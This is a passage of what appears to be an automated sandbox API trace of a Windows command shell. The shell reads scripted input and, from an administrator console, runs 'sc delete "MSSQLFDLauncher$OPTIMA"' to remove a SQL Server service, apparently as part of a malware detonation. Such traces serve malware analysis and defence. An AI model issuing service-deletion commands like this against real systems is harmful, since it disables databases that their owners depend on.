lpWideCharStr="OLUWER\"\n") returned 1 [0071.858] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.858] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.858] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.858] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e358, cchWideChar=1 | out: lpWideCharStr="PUWER\"\n") returned 1 [0071.858] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.858] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.858] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.858] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e35a, cchWideChar=1 | out: lpWideCharStr="TWER\"\n") returned 1 [0071.859] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.859] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.859] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.859] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e35c, cchWideChar=1 | out: lpWideCharStr="IER\"\n") returned 1 [0071.859] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.859] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.859] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.859] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e35e, cchWideChar=1 | out: lpWideCharStr="MR\"\n") returned 1 [0071.859] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.859] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.859] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.859] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e360, cchWideChar=1 | out: lpWideCharStr="A\"\n") returned 1 [0071.859] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.859] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.859] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.859] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e362, cchWideChar=1 | out: lpWideCharStr="\"\n") returned 1 [0071.859] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.859] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.859] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.859] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e364, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0071.860] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.860] GetFileType (hFile=0xb8) returned 0x3 [0071.860] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.860] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.860] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.860] GetFileType (hFile=0x120) returned 0x3 [0071.860] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.860] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete \"MSSQLFDLauncher$OPTIMA\"\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete \"MSSQLFDLauncher$OPTIMA\"\n", lpUsedDefaultChar=0x0) returned 36 [0071.860] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x23, lpOverlapped=0x0) returned 1 [0071.860] GetProcessHeap () returned 0x4a0000 [0071.860] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4c8630 [0071.860] GetProcessHeap () returned 0x4a0000 [0071.860] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c8630 | out: hHeap=0x4a0000) returned 1 [0071.860] GetProcessHeap () returned 0x4a0000 [0071.860] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0071.860] GetProcessHeap () returned 0x4a0000 [0071.860] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0071.860] GetProcessHeap () returned 0x4a0000 [0071.860] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x52) returned 0x4b97e0 [0071.861] GetConsoleOutputCP () returned 0x1b5 [0071.861] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0071.861] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0071.861] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0071.861] GetProcessHeap () returned 0x4a0000 [0071.861] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0071.861] GetProcessHeap () returned 0x4a0000 [0071.861] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x58) returned 0x4b9840 [0071.861] GetProcessHeap () returned 0x4a0000 [0071.861] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bba10 [0071.861] SetErrorMode (uMode=0x0) returned 0x1 [0071.861] SetErrorMode (uMode=0x1) returned 0x0 [0071.862] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bba20, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0071.862] SetErrorMode (uMode=0x1) returned 0x1 [0071.862] GetProcessHeap () returned 0x4a0000 [0071.862] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bba10, Size=0x62) returned 0x4bba10 [0071.862] GetProcessHeap () returned 0x4a0000 [0071.862] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bba10) returned 0x62 [0071.862] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0071.862] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0071.862] GetProcessHeap () returned 0x4a0000 [0071.862] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0071.862] GetProcessHeap () returned 0x4a0000 [0071.862] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0071.862] GetProcessHeap () returned 0x4a0000 [0071.862] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0071.862] GetProcessHeap () returned 0x4a0000 [0071.862] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0071.862] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0071.862] GetProcessHeap () returned 0x4a0000 [0071.862] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0071.862] GetProcessHeap () returned 0x4a0000 [0071.862] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0071.862] GetProcessHeap () returned 0x4a0000 [0071.862] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0071.862] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0071.863] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0071.863] GetLastError () returned 0x2 [0071.863] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0071.863] GetLastError () returned 0x2 [0071.863] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0071.863] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0071.863] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0071.864] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0071.864] GetLastError () returned 0x2 [0071.864] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0071.864] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0071.864] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0071.864] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0071.864] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0071.864] GetProcessHeap () returned 0x4a0000 [0071.864] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0071.864] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0071.865] GetProcessHeap () returned 0x4a0000 [0071.865] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0xbe) returned 0x4b9180 [0071.865] GetProcessHeap () returned 0x4a0000 [0071.865] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0xbe [0071.865] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete \"MSSQLFDLauncher$OPTIMA\"") returned 1 [0071.866] GetProcessHeap () returned 0x4a0000 [0071.866] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0071.866] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0071.866] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0071.866] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0071.866] GetProcessHeap () returned 0x4a0000 [0071.866] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0071.866] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0071.866] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0071.866] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0071.866] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0071.866] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0071.866] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0071.866] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0071.866] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0071.866] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0071.866] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0071.866] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0071.866] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0071.866] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0071.866] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0071.866] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0071.867] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0071.867] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0071.867] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0071.867] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0071.867] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0071.867] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0071.867] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0071.867] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0071.867] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0071.867] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0071.867] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0071.867] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0071.867] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0071.867] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0071.867] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0071.867] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0071.867] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0071.867] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0071.867] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0071.867] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0071.867] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0071.867] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0071.867] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0071.867] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0071.867] GetProcessHeap () returned 0x4a0000 [0071.867] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0071.867] GetProcessHeap () returned 0x4a0000 [0071.867] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0071.868] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete \"MSSQLFDLauncher$OPTIMA\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete \"MSSQLFDLauncher$OPTIMA\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete \"MSSQLFDLauncher$OPTIMA\"", lpProcessInformation=0x2cecc0*(hProcess=0x54, hThread=0x50, dwProcessId=0x694, dwThreadId=0x534)) returned 1 [0071.890] CloseHandle (hObject=0x50) returned 1 [0071.890] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0071.890] GetProcessHeap () returned 0x4a0000 [0071.890] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c1b10 | out: hHeap=0x4a0000) returned 1 [0071.890] GetEnvironmentStringsW () returned 0x4c1b10* [0071.891] GetProcessHeap () returned 0x4a0000 [0071.891] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0071.891] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0071.891] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0071.891] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd9000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0071.891] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0071.971] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0071.971] CloseHandle (hObject=0x54) returned 1 [0071.971] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0071.971] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0071.972] GetProcessHeap () returned 0x4a0000 [0071.972] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0071.972] GetEnvironmentStringsW () returned 0x4c1b10* [0071.972] GetProcessHeap () returned 0x4a0000 [0071.972] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0071.972] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0071.972] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0071.972] GetProcessHeap () returned 0x4a0000 [0071.972] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0071.972] GetEnvironmentStringsW () returned 0x4c1b10* [0071.972] GetProcessHeap () returned 0x4a0000 [0071.972] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0071.972] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0071.972] GetProcessHeap () returned 0x4a0000 [0071.972] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0071.972] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0071.972] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0071.975] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.976] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0071.976] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.976] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0071.976] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.976] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0071.976] GetConsoleOutputCP () returned 0x1b5 [0071.976] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0071.976] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0071.977] GetProcessHeap () returned 0x4a0000 [0071.977] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0071.977] GetProcessHeap () returned 0x4a0000 [0071.977] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0071.977] GetProcessHeap () returned 0x4a0000 [0071.977] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0071.977] GetProcessHeap () returned 0x4a0000 [0071.977] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0071.977] GetProcessHeap () returned 0x4a0000 [0071.977] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9840 | out: hHeap=0x4a0000) returned 1 [0071.977] GetProcessHeap () returned 0x4a0000 [0071.977] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0071.977] GetProcessHeap () returned 0x4a0000 [0071.977] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b97e0 | out: hHeap=0x4a0000) returned 1 [0071.977] GetProcessHeap () returned 0x4a0000 [0071.977] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0071.977] GetProcessHeap () returned 0x4a0000 [0071.977] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0071.977] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0071.977] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.977] GetFileType (hFile=0x120) returned 0x3 [0071.977] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.977] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0071.977] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0071.977] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0071.978] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0071.978] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0071.978] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0071.978] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.978] GetFileType (hFile=0x120) returned 0x3 [0071.978] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.978] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0071.978] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0071.978] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.978] GetFileType (hFile=0xb8) returned 0x3 [0071.978] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.978] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.978] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, 